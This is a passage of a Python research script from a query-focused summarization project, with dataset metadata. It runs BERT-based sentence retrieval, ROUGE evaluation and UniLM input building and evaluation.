rr_rank2records_in_batch():\n    if rr_config.FILTER in ('conf', 'comp'):\n        filter_var_range = np.arange(0.05, 1.05, 0.05)\n    else:  # topK\n        interval = 10\n        if rr_config.ir_config.FILTER == 'topK':\n            start = interval\n            end = rr_config.ir_config.FILTER_VAR + interval\n        else:\n            start = 40\n            end = 150 + interval\n        filter_var_range = range(start, end, interval)\n\n    for filter_var in tqdm(filter_var_range):\n        rr_rec_dn = rr_config.RR_RECORD_DIR_NAME_PATTERN.format(rr_config.RR_MODEL_NAME_BERT, filter_var, rr_config.FILTER)\n        rr_rec_dp = join(path_parser.summary_rank, rr_rec_dn)\n\n        if exists(rr_rec_dp):\n            raise ValueError(f'rr_rec_dp exists: {rr_rec_dp}')\n        os.mkdir(rr_rec_dp)\n\n        for cid in cids:\n            retrieval_params = {\n                'model_name': rr_config.RR_MODEL_NAME_BERT,\n                'cid': cid,\n                'filter_var': filter_var,\n                'filter': rr_config.FILTER,\n                'deduplicate': None,\n                'min_ns': rr_config.RR_MIN_NS\n            }\n\n            # todo: examine if we want to normalize scores for bert_rr\n            if meta_model_name.startswith('bert_squad') and config.squad_var.startswith('bert_shared'):\n                retrieval_params['norm'] = True\n\n            retrieved_items = ir_tools.retrieve(**retrieval_params)\n            ir_tools.dump_retrieval(fp=join(rr_rec_dp, cid), retrieved_items=retrieved_items)\n\n\ndef rr_rank2records_with_ir_scores():\n    assert rr_config.RR_INTERPOLATION\n\n    rr_rec_dp = join(path_parser.summary_rank, rr_config.RR_RECORD_DIR_NAME_BERT)\n\n    if exists(rr_rec_dp):\n        raise ValueError(f'rr_rec_dp exists: {rr_rec_dp}')\n    os.mkdir(rr_rec_dp)\n\n    for cid in tqdm(cids):\n        retrieval_params = {\n            'rr_rank_dp': rank_dp,\n            'ir_record_dp': ir_rec_dp,\n            'cid': cid,\n            'filter_var': rr_config.FILTER_VAR,\n            'filter': rr_config.FILTER,\n            'deduplicate': None,\n            'min_ns': rr_config.RR_MIN_NS,\n            'interpolation': rr_config.RR_INTERPOLATION,\n            'joint_scale_norm': rr_config.RR_INTERPOLATION_NORM,\n            'rr_max_min_norm': True if config.meta_model_name == 'bert_squad' else False,\n        }\n\n        retrieved_items = retrieve_joint_with_ir(**retrieval_params)\n        ir_tools.dump_retrieval(fp=join(rr_rec_dp, cid), retrieved_items=retrieved_items)\n\n\ndef line_counter():\n    rr_rec_dp = join(path_parser.summary_rank, rr_config.RR_RECORD_DIR_NAME_BERT)\n\n    if not exists(rr_rec_dp):\n        raise ValueError(f'rr_rec_dp does not exist: {rr_rec_dp}')\n\n    logger.info(f'rr_rec_dp: {rr_rec_dp}')\n\n    doc_fps = [join(rr_rec_dp, fn) for fn in listdir(rr_rec_dp)\n               if isfile(join(rr_rec_dp, fn)) and not join(rr_rec_dp, fn).endswith('.swp')]\n\n    n_sents = []\n    for doc_fp in doc_fps:\n        with io.open(doc_fp, encoding='utf-8') as f:\n            n_sents.append(len(f.readlines()))\n\n    logger.info(f'n_sents: {n_sents}')\n\n\ndef select_e2e():\n    \"\"\"\n        This function is for ablation study (w/o Centrality).\n\n    \"\"\"\n    ir_rec_dp = join(path_parser.summary_rank, rr_config.IR_RECORDS_DIR_NAME)\n    params = {\n        'model_name': rr_config.RR_MODEL_NAME_BERT,\n        'cos_threshold': 0.6,\n        'retrieved_dp': ir_rec_dp,\n        'max_n_summary_words': 1000,\n    }\n\n    select_sent.select_end2end(**params)\n\n\ndef compute_rouge():\n    text_params = {\n        'model_name': rr_config.RR_MODEL_NAME_BERT,\n        'cos_threshold': 0.6,\n    }\n    output = rouge.compute_rouge(**text_params)\n\n\ndef get_text_dp():\n    \"\"\"\n        Copied from bert_marge/main.py.\n        \n    \"\"\"\n\n    assert rr_config.USE_TEXT\n    dn = rr_config.TEXT_DIR_NAME\n    text_dp = path_parser.summary_text / dn\n    print(f'Build from text_dp: {text_dp}')\n    return text_dp\n\n\ndef eval_unilm_out():\n    unilm_eval = UniLMEval(marge_config=rr_config, \n        pre_tokenize_sent=False, \n        max_eval_len=250, \n        cluster_ids=cids,\n        eval_tdqfs=False)\n    perf = unilm_eval.build_and_eval_unilm_out()\n    print(perf)\n    return perf\n    # unilm_eval.eval_unilm_out()\n\n\ndef eval_in_batch(unilm_model_id, start=500, end=10000, intv=5000, unilm_ckpts=None):\n    if not unilm_ckpts:\n        unilm_ckpts = range(start, end, intv)\n    records = []\n    for ckpt in unilm_ckpts:\n        rr_config.override_glob_vars(unilm_model_id, ckpt)\n        perf = eval_unilm_out()\n        rec = f'{ckpt}: {perf}'\n        records.append(rec)\n    print('\\n'.join(records))\n    \n\ndef build_unilm_input(src):\n    \"\"\"\n        Copied from bert_marge/main.py.\n        \n    \"\"\"\n    if src == 'rank':\n        rank_dp = join(path_parser.summary_rank, rr_config.RR_RANK_DIR_NAME_BERT)\n        text_dp = None\n    elif src == 'text':\n        rank_dp = None\n        text_dp = get_text_dp()\n    \n    unilm_in_params = {\n        'marge_config': rr_config,\n        'rank_dp': rank_dp,\n        'text_dp': text_dp,\n        'fix_input': True,\n        'cluster_ids': cids,\n        'prepend_len': rr_config.PREPEND_LEN,\n        'prepend_query': rr_config.PREPEND_QUERY,\n    }\n    unilm_input = UniLMInput(**unilm_in_params)\n    \n    if src == 'rank':\n        unilm_input.build_from_rank()\n    elif src == 'text':\n        unilm_input.build_from_text()\n\n\nif __name__ == '__main__':\n    # init()\n    # dump_rel_scores()\n    # rel_scores2rank()\n\n    # tune()  # select div hyper-parameter\n    # finer_tune()  # visualize n_sents\n\n    # build_unilm_input(src='rank')\n    # eval_unilm_out()\n    # unilm_ckpts=[3000]\n    # eval_in_batch(unilm_model_id=26, start=1500, end=20000, intv=1500, unilm_ckpts=unilm_ckpts)\n    \n    # rr_rank2records()  # with selected hyper-parameter\n    # select_e2e()\n    compute_rouge()\n", "repo_name": "yumoxu/marge", "sub_path": "src/frame/bert_rr/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 21022, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 30, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.dirname", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "sys.path.insert", "line_number": 7, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sys.path.insert", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 13, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sys.path.insert", "line_number": 15, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 65, "usage_type": "call"}, {"api_name": "utils.config_loader.path_parser.graph_rel_scores", "line_number": 65, "usage_type": "attribute"}, {"api_name": "utils.config_loader.path_parser", "line_number": 65, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RELEVANCE_SCORE_DIR_NAME", "line_number": 65, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 65, "usage_type": "name"}, {"api_name": "utils.tools.get_test_cc_ids", "line_number": 66, "usage_type": "call"}, {"api_name": "utils.tools", "line_number": 66, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "utils.config_loader.path_parser.summary_rank", "line_number": 68, "usage_type": "attribute"}, {"api_name": "utils.config_loader.path_parser", "line_number": 68, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RR_RANK_DIR_NAME_BERT", "line_number": 68, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 68, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 69, "usage_type": "call"}, {"api_name": "utils.config_loader.path_parser.summary_rank", "line_number": 69, "usage_type": "attribute"}, {"api_name": "utils.config_loader.path_parser", "line_number": 69, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.IR_RECORDS_DIR_NAME", "line_number": 69, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 69, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 74, "usage_type": "call"}, {"api_name": "utils.config_loader.config_meta", "line_number": 84, "usage_type": "name"}, {"api_name": "torch.cuda.is_available", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 86, "usage_type": "attribute"}, {"api_name": "utils.config_loader.logger.info", "line_number": 88, "usage_type": "call"}, {"api_name": "utils.config_loader.logger", "line_number": 88, "usage_type": "name"}, {"api_name": "utils.config_loader.path_type", "line_number": 88, "usage_type": "attribute"}, {"api_name": "utils.config_loader", "line_number": 88, "usage_type": "name"}, {"api_name": "torch.cuda.set_device", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 92, "usage_type": "attribute"}, {"api_name": "utils.config_loader.config_meta", "line_number": 93, "usage_type": "name"}, {"api_name": "utils.config_loader.logger.info", "line_number": 98, "usage_type": "call"}, {"api_name": "utils.config_loader.logger", "line_number": 98, "usage_type": "name"}, {"api_name": "utils.config_loader.path_type", "line_number": 98, "usage_type": "attribute"}, {"api_name": "utils.config_loader", "line_number": 98, "usage_type": "name"}, {"api_name": "utils.config_loader.config_meta", "line_number": 99, "usage_type": "name"}, {"api_name": "utils.config_loader.config_meta", "line_number": 104, "usage_type": "name"}, {"api_name": "torch.nn.DataParallel", "line_number": 105, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 105, "usage_type": "name"}, {"api_name": "utils.config_loader.config_meta", "line_number": 105, "usage_type": "name"}, {"api_name": "utils.config_loader.logger.info", "line_number": 106, "usage_type": "call"}, {"api_name": "utils.config_loader.logger", "line_number": 106, "usage_type": "name"}, {"api_name": "utils.config_loader.config_meta", "line_number": 106, "usage_type": "name"}, {"api_name": "utils.config_loader.config_meta", "line_number": 108, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 122, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 137, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 137, "usage_type": "name"}, {"api_name": "utils.config_loader.logger.info", "line_number": 144, "usage_type": "call"}, {"api_name": "utils.config_loader.logger", "line_number": 144, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 148, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 150, "usage_type": "call"}, {"api_name": "utils.tools.save_obj", "line_number": 152, "usage_type": "call"}, {"api_name": "utils.tools", "line_number": 152, "usage_type": "name"}, {"api_name": "utils.config_loader.logger.info", "line_number": 153, "usage_type": "call"}, {"api_name": "utils.config_loader.logger", "line_number": 153, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.QUERY_TYPE", "line_number": 159, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 159, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.WITH_SUB", "line_number": 161, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 161, "usage_type": "name"}, {"api_name": "utils.config_loader.meta_model_name", "line_number": 164, "usage_type": "attribute"}, {"api_name": "utils.config_loader", "line_number": 164, "usage_type": "name"}, {"api_name": "bert_rr.data_pipe_cluster.QSDataLoader", "line_number": 165, "usage_type": "name"}, {"api_name": "utils.config_loader.meta_model_name", "line_number": 167, "usage_type": "attribute"}, {"api_name": "utils.config_loader", "line_number": 167, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 174, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 176, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 178, "usage_type": "call"}, {"api_name": "utils.config_loader.path_parser.summary_rank", "line_number": 178, "usage_type": "attribute"}, {"api_name": "utils.config_loader.path_parser", "line_number": 178, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.IR_RECORDS_DIR_NAME", "line_number": 178, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 178, "usage_type": "name"}, {"api_name": "utils.config_loader.bert_model", "line_number": 180, "usage_type": "attribute"}, {"api_name": "utils.config_loader", "line_number": 180, "usage_type": "name"}, {"api_name": "utils.config_loader.meta_model_name", "line_number": 183, "usage_type": "attribute"}, {"api_name": "utils.config_loader", "line_number": 183, "usage_type": "name"}, {"api_name": "utils.config_loader.meta_model_name", "line_number": 186, "usage_type": "attribute"}, {"api_name": "utils.config_loader", "line_number": 186, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 190, "usage_type": "call"}, {"api_name": "utils.tools.load_obj", "line_number": 191, "usage_type": "call"}, {"api_name": "utils.tools", "line_number": 191, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 195, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 197, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 201, "usage_type": "call"}, {"api_name": "bert_rr.data_pipe_cluster.load_retrieved_sentences", "line_number": 208, "usage_type": "call"}, {"api_name": "summ.rank_sent.get_rank_records", "line_number": 209, "usage_type": "call"}, {"api_name": "summ.rank_sent", "line_number": 209, "usage_type": "name"}, {"api_name": "summ.rank_sent.dump_rank_records", "line_number": 211, "usage_type": "call"}, {"api_name": "summ.rank_sent", "line_number": 211, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 211, "usage_type": "call"}, {"api_name": "utils.config_loader.logger.info", "line_number": 212, "usage_type": "call"}, {"api_name": "utils.config_loader.logger", "line_number": 212, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.FILTER", "line_number": 221, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 221, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 222, "usage_type": "call"}, {"api_name": "bert_rr.rr_config.ir_config", "line_number": 225, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 225, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.ir_config", "line_number": 226, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 226, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 231, "usage_type": "call"}, {"api_name": "utils.config_loader.path_parser.summary_rank", "line_number": 231, "usage_type": "attribute"}, {"api_name": "utils.config_loader.path_parser", "line_number": 231, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RR_TUNE_DIR_NAME_BERT", "line_number": 231, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 231, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 232, "usage_type": "call"}, {"api_name": "utils.config_loader.path_parser.tune", "line_number": 232, "usage_type": "attribute"}, {"api_name": "utils.config_loader.path_parser", "line_number": 232, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RR_TUNE_DIR_NAME_BERT", "line_number": 232, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 232, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 238, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 239, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 240, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 242, "usage_type": "call"}, {"api_name": "bert_rr.rr_config.RR_MODEL_NAME_BERT", "line_number": 244, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 244, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.FILTER", "line_number": 247, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 247, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RR_MIN_NS", "line_number": 249, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 249, "usage_type": "name"}, {"api_name": "utils.config_loader.meta_model_name.startswith", "line_number": 252, "usage_type": "call"}, {"api_name": "utils.config_loader.meta_model_name", "line_number": 252, "usage_type": "name"}, {"api_name": "utils.config_loader.squad_var.startswith", "line_number": 252, "usage_type": "call"}, {"api_name": "utils.config_loader.squad_var", "line_number": 252, "usage_type": "attribute"}, {"api_name": "utils.config_loader", "line_number": 252, "usage_type": "name"}, {"api_name": "ir.ir_tools.retrieve", "line_number": 255, "usage_type": "call"}, {"api_name": "ir.ir_tools", "line_number": 255, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 258, "usage_type": "call"}, {"api_name": "summ.compute_rouge.compute_rouge_for_cont_sel_in_sentences", "line_number": 261, "usage_type": "call"}, {"api_name": "summ.compute_rouge", "line_number": 261, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.FILTER", "line_number": 263, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 263, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 270, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 271, "usage_type": "call"}, {"api_name": "bert_rr.rr_config.FILTER", "line_number": 281, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 281, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 282, "usage_type": "call"}, {"api_name": "utils.config_loader.path_parser.summary_rank", "line_number": 286, "usage_type": "attribute"}, {"api_name": "utils.config_loader.path_parser", "line_number": 286, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RR_FINER_TUNE_DIR_NAME_BERT", "line_number": 286, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 286, "usage_type": "name"}, {"api_name": "utils.config_loader.path_parser.tune", "line_number": 287, "usage_type": "attribute"}, {"api_name": "utils.config_loader.path_parser", "line_number": 287, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RR_FINER_TUNE_DIR_NAME_BERT", "line_number": 287, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 287, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 293, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 294, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 295, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 297, "usage_type": "call"}, {"api_name": "bert_rr.rr_config.RR_MODEL_NAME_BERT", "line_number": 299, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 299, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.FILTER", "line_number": 302, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 302, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RR_MIN_NS", "line_number": 304, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 304, "usage_type": "name"}, {"api_name": "utils.config_loader.meta_model_name.startswith", "line_number": 307, "usage_type": "call"}, {"api_name": "utils.config_loader.meta_model_name", "line_number": 307, "usage_type": "name"}, {"api_name": "utils.config_loader.squad_var.startswith", "line_number": 307, "usage_type": "call"}, {"api_name": "utils.config_loader.squad_var", "line_number": 307, "usage_type": "attribute"}, {"api_name": "utils.config_loader", "line_number": 307, "usage_type": "name"}, {"api_name": "ir.ir_tools.retrieve", "line_number": 310, "usage_type": "call"}, {"api_name": "ir.ir_tools", "line_number": 310, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 313, "usage_type": "call"}, {"api_name": "summ.compute_rouge.compute_rouge_for_dev", "line_number": 316, "usage_type": "call"}, {"api_name": "summ.compute_rouge", "line_number": 316, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.FILTER", "line_number": 318, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 318, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 325, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 326, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 330, "usage_type": "call"}, {"api_name": "io.open", "line_number": 331, "usage_type": "call"}, {"api_name": "ir.ir_tools._norm", "line_number": 336, "usage_type": "call"}, {"api_name": "ir.ir_tools", "line_number": 336, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 343, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 347, "usage_type": "call"}, {"api_name": "io.open", "line_number": 348, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 350, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 355, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 356, "usage_type": "call"}, {"api_name": "ir.ir_tools._retrieve_from_rank_items_via_conf", "line_number": 389, "usage_type": "call"}, {"api_name": "ir.ir_tools", "line_number": 389, "usage_type": "name"}, {"api_name": "ir.ir_tools._retrieve_from_rank_items_via_comp", "line_number": 394, "usage_type": "call"}, {"api_name": "ir.ir_tools", "line_number": 394, "usage_type": "name"}, {"api_name": "utils.config_loader.logger.info", "line_number": 401, "usage_type": "call"}, {"api_name": "utils.config_loader.logger", "line_number": 401, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 407, "usage_type": "call"}, {"api_name": "utils.config_loader.path_parser.summary_rank", "line_number": 407, "usage_type": "attribute"}, {"api_name": "utils.config_loader.path_parser", "line_number": 407, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RR_RECORD_DIR_NAME_BERT", "line_number": 407, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 407, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 409, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 411, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 413, "usage_type": "call"}, {"api_name": "bert_rr.rr_config.RR_MODEL_NAME_BERT", "line_number": 415, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 415, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.FILTER_VAR", "line_number": 417, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 417, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.FILTER", "line_number": 418, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 418, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RR_MIN_NS", "line_number": 420, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 420, "usage_type": "name"}, {"api_name": "utils.config_loader.meta_model_name.startswith", "line_number": 424, "usage_type": "call"}, {"api_name": "utils.config_loader.meta_model_name", "line_number": 424, "usage_type": "name"}, {"api_name": "utils.config_loader.squad_var.startswith", "line_number": 424, "usage_type": "call"}, {"api_name": "utils.config_loader.squad_var", "line_number": 424, "usage_type": "attribute"}, {"api_name": "utils.config_loader", "line_number": 424, "usage_type": "name"}, {"api_name": "ir.ir_tools.retrieve", "line_number": 427, "usage_type": "call"}, {"api_name": "ir.ir_tools", "line_number": 427, "usage_type": "name"}, {"api_name": "ir.ir_tools.dump_retrieval", "line_number": 428, "usage_type": "call"}, {"api_name": "ir.ir_tools", "line_number": 428, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 428, "usage_type": "call"}, {"api_name": "bert_rr.rr_config.FILTER", "line_number": 432, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 432, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 433, "usage_type": "call"}, {"api_name": "bert_rr.rr_config.ir_config", "line_number": 436, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 436, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.ir_config", "line_number": 438, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 438, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 444, "usage_type": "call"}, {"api_name": "bert_rr.rr_config.RR_RECORD_DIR_NAME_PATTERN.format", "line_number": 445, "usage_type": "call"}, {"api_name": "bert_rr.rr_config.RR_RECORD_DIR_NAME_PATTERN", "line_number": 445, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 445, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RR_MODEL_NAME_BERT", "line_number": 445, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config.FILTER", "line_number": 445, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 446, "usage_type": "call"}, {"api_name": "utils.config_loader.path_parser.summary_rank", "line_number": 446, "usage_type": "attribute"}, {"api_name": "utils.config_loader.path_parser", "line_number": 446, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 448, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 450, "usage_type": "call"}, {"api_name": "bert_rr.rr_config.RR_MODEL_NAME_BERT", "line_number": 454, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 454, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.FILTER", "line_number": 457, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 457, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RR_MIN_NS", "line_number": 459, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 459, "usage_type": "name"}, {"api_name": "utils.config_loader.meta_model_name.startswith", "line_number": 463, "usage_type": "call"}, {"api_name": "utils.config_loader.meta_model_name", "line_number": 463, "usage_type": "name"}, {"api_name": "utils.config_loader.squad_var.startswith", "line_number": 463, "usage_type": "call"}, {"api_name": "utils.config_loader.squad_var", "line_number": 463, "usage_type": "attribute"}, {"api_name": "utils.config_loader", "line_number": 463, "usage_type": "name"}, {"api_name": "ir.ir_tools.retrieve", "line_number": 466, "usage_type": "call"}, {"api_name": "ir.ir_tools", "line_number": 466, "usage_type": "name"}, {"api_name": "ir.ir_tools.dump_retrieval", "line_number": 467, "usage_type": "call"}, {"api_name": "ir.ir_tools", "line_number": 467, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 467, "usage_type": "call"}, {"api_name": "bert_rr.rr_config.RR_INTERPOLATION", "line_number": 471, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 471, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 473, "usage_type": "call"}, {"api_name": "utils.config_loader.path_parser.summary_rank", "line_number": 473, "usage_type": "attribute"}, {"api_name": "utils.config_loader.path_parser", "line_number": 473, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RR_RECORD_DIR_NAME_BERT", "line_number": 473, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 473, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 475, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 477, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 479, "usage_type": "call"}, {"api_name": "bert_rr.rr_config.FILTER_VAR", "line_number": 484, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 484, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.FILTER", "line_number": 485, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 485, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RR_MIN_NS", "line_number": 487, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 487, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RR_INTERPOLATION", "line_number": 488, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 488, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RR_INTERPOLATION_NORM", "line_number": 489, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 489, "usage_type": "name"}, {"api_name": "utils.config_loader.meta_model_name", "line_number": 490, "usage_type": "attribute"}, {"api_name": "utils.config_loader", "line_number": 490, "usage_type": "name"}, {"api_name": "ir.ir_tools.dump_retrieval", "line_number": 494, "usage_type": "call"}, {"api_name": "ir.ir_tools", "line_number": 494, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 494, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 498, "usage_type": "call"}, {"api_name": "utils.config_loader.path_parser.summary_rank", "line_number": 498, "usage_type": "attribute"}, {"api_name": "utils.config_loader.path_parser", "line_number": 498, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RR_RECORD_DIR_NAME_BERT", "line_number": 498, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 498, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 500, "usage_type": "call"}, {"api_name": "utils.config_loader.logger.info", "line_number": 503, "usage_type": "call"}, {"api_name": "utils.config_loader.logger", "line_number": 503, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 505, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 505, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 506, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 506, "usage_type": "call"}, {"api_name": "io.open", "line_number": 510, "usage_type": "call"}, {"api_name": "utils.config_loader.logger.info", "line_number": 513, "usage_type": "call"}, {"api_name": "utils.config_loader.logger", "line_number": 513, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 521, "usage_type": "call"}, {"api_name": "utils.config_loader.path_parser.summary_rank", "line_number": 521, "usage_type": "attribute"}, {"api_name": "utils.config_loader.path_parser", "line_number": 521, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.IR_RECORDS_DIR_NAME", "line_number": 521, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", "line_number": 521, "usage_type": "name"}, {"api_name": "bert_rr.rr_config.RR_MODEL_NAME_BERT", "line_number": 523, "usage_type": "attribute"}, {"api_name": "bert_rr.rr_config", 